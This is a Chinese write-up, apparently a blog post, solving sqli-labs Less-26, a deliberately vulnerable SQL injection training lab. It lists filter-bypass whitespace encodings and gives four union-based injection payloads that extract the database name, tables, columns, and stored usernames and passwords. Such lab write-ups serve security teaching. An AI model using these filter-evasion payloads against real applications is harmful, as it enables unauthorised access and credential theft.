[网络安全]sqli-labs Less-26 解题详析

简介: [网络安全]sqli-labs Less-26 解题详析

本关过滤 空格orand/*#--/ 等符号

可用过滤符如下

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

使用联合查询,具体原理及解题方法可见专栏:Sqli-Labs靶场专栏

查库名:

id=0'%0bunion%0bselect%0b1,database(),3||'1'='1

回显如下:

查表名:

id=0'%0bunion%0bselect%0b2,group_concat(table_name),4%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%26%26'1'='1

回显如下:

查列名:

id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%0b%26%26%0btable_schema=database()%26%26'1'='1

回显如下:

查数据:

id=0'%0bunion%0bselect%0b2,(select%0bgroup_concat(concat_ws('-',id,username,passwoorrd))%0bfrom%0busers),4%0b||%0b'1'='1

回显如下:

目录
相关文章
|
2月前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
156 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
2月前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
143 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
2月前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
114 0
|
2月前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
568 0
|
2月前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
270 0
|
2月前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
143 0
|
2月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
41 0
|
2月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
28 0
|
3天前
|
安全 Java 网络安全
网络安全与信息安全:漏洞、加密技术与安全意识的三重奏
在数字时代的交响乐中,网络安全和信息安全扮演着至关重要的角色。本文将深入探讨网络安全的脆弱性,包括常见漏洞及其潜在威胁;阐述加密技术如何作为数据保护的坚固盾牌,以及它在现代通信中的应用;强调培养安全意识的必要性,并分享提升个人和组织安全防御能力的策略。通过结合最新的研究成果和实际案例分析,本文旨在为读者提供一场关于网络空间安全的全面剖析,揭示保护我们数字生活的关键要素。
|
1天前
|
云安全 安全 网络安全
云计算与网络安全的博弈:探索云服务中的信息安全挑战与对策
在数字化时代,云计算作为推动企业创新和效率的关键力量,正面临着前所未有的网络安全威胁。本文通过深入分析云计算环境下的安全挑战,探讨了如何构建一个更加安全、可靠的云服务平台。结合最新的研究成果和行业报告,文章详细讨论了数据加密、访问控制、网络隔离等技术手段在提升云服务安全性中的应用,并提出了未来云计算安全的发展趋势。
10 1